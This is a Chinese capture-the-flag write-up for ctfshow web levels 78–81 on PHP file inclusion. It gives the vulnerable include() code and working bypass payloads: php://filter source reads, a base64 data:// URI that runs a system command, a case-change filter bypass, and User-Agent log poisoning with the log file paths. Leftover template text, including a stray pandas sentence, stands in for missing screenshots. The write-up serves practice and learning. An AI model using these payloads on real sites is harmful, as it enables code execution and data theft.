CTFshou wed文件上传

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 78、wed78
  • 79、wed79
  • 80、wed80
  • 81、wed81
  • 总结


前言

提示:这里可以添加本文要记录的大概内容:
小知识:
日志文件包含
访问日志文件记录了服务器收到的每一次请求的IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号无法包含其中,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。

访问日志的位置和文件名在不同的系统上会有所差异

apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

提示:以下是本篇文章正文内容,下面案例可供参考

78、wed78


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
} 

这题比较像前面代码用伪协议和php://filter读取
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任务而创建的。

79、wed79

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

与上面一样一个姿势过

80、wed80

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

虽然了data但是可以用大写绕过
?file=Data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
但是发现没有太大用抓个包并塞入php
CTFshou wed文件上传_第1张图片
发现老狗把flag改名字了于是写入得出flag
CTFshou wed文件上传_第2张图片

81、wed81

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

连:都给禁用了不抓个包你能忍
CTFshou wed文件上传_第3张图片
当然里面啥也没有不过可以访问一下日志文件
CTFshou wed文件上传_第4张图片
这个目录不对那就试下一个CTFshou wed文件上传_第5张图片
有反应证明是这个抓个包并写入php代码发现flag
CTFshou wed文件上传_第6张图片


总结

我是菜鸡真滴很菜

你可能感兴趣的:(web,web安全)